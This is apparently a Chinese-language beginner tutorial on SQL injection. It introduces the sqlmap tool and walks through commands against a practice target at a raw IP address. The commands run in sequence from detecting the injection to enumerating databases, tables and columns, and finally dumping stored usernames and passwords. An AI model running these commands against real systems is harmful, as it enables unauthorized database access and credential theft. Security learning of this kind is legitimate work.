sql注入—sqlmap简单操作

0x01 sqlmap是什么

sqlmap是开源的自动化SQL注入工具,由Python写成,具有如下特点:

  完全支持MySQL、Oracle、PostgreSQL、Microsoft SQLServer、Microsoft Acess、IBM DB2、SQLite、Firebird、Sybase、SAP MaxDB、HSQLDB和informix等多种数据库管理系统。

  完全支持布尔型盲注、时间盲注、基于错误信息的注入、联合查询注入和堆查询注入。

  在数据库证书、IP地址、端口和数据库名等条件允许的情况下支持不通过SQL注入点而直接连接数据库。

  支持枚举用户、密码、哈希、权限、角色、数据库、数据表和列

  支持自动识别密码哈希格式并通过字典破解密码哈希

  支持完全下载某个数据库中的某个表,也可以只下载某个表中的某几列,甚至只下载一列中的部分数据,这完全取决于用户的选择。

  支持在数据库管理系统中搜集指定的数据库名、表名或列名

  当数据库管理系统是MySQL、PostgreSQL或Microsofe SQLServer时支持下载或上传文件

  当数据库管理系统是MySQL、PostgreSQL或Microsofe SQLServer时执行任意命令并回显标准输出

0x02 简单的sql注入

 1. SQL注入是什么

    通过SQL命令插入到Web表单提交或输入域名或页面请求的查询字符,最终达到欺骗服务器执行恶意的SQL命令。其主要原因时程序没有细致地过滤用户输入的数据,导致非法数据侵入系统。

 2.使用sqlmap进行简单注入操作

测地址试:http://106.12.198.186/Less-1/?id=1

具体步骤:

查看是否存在sql注入

sqlmap -u "http://106.12.198.186/Less-1/?id=1"

获取数据库信息

sqlmap -u "http://106.12.198.186/Less-1/?id=1" --dbs

available databases有5个

列出当前应用使用的数据库

sqlmap -u "http://106.12.198.186/Less-1/?id=1" --current-db

 现在我们拿到了所使用的库为security,然后由此拿到库中的表名

sqlmap -u "http://106.12.198.186/Less-1/?id=1" -D security --tables

很容易想到用户信息应该都存放在users表中,因此获取users中表字段名称

sqlmap -u "http://106.12.198.186/Less-1/?id=1" -D security -T users --columns

攻击者感兴趣的一定是user和password字段,下一步就是dump他们 (dump 转存数据库数据)

sqlmap -u "http://106.12.198.186/Less-1/?id=1" -D security -T users -C username,password --dump

可以看到,sqlmap猜解除了所有的用户名和密码,至此完成了此次sql注入!

我们把数据打印出来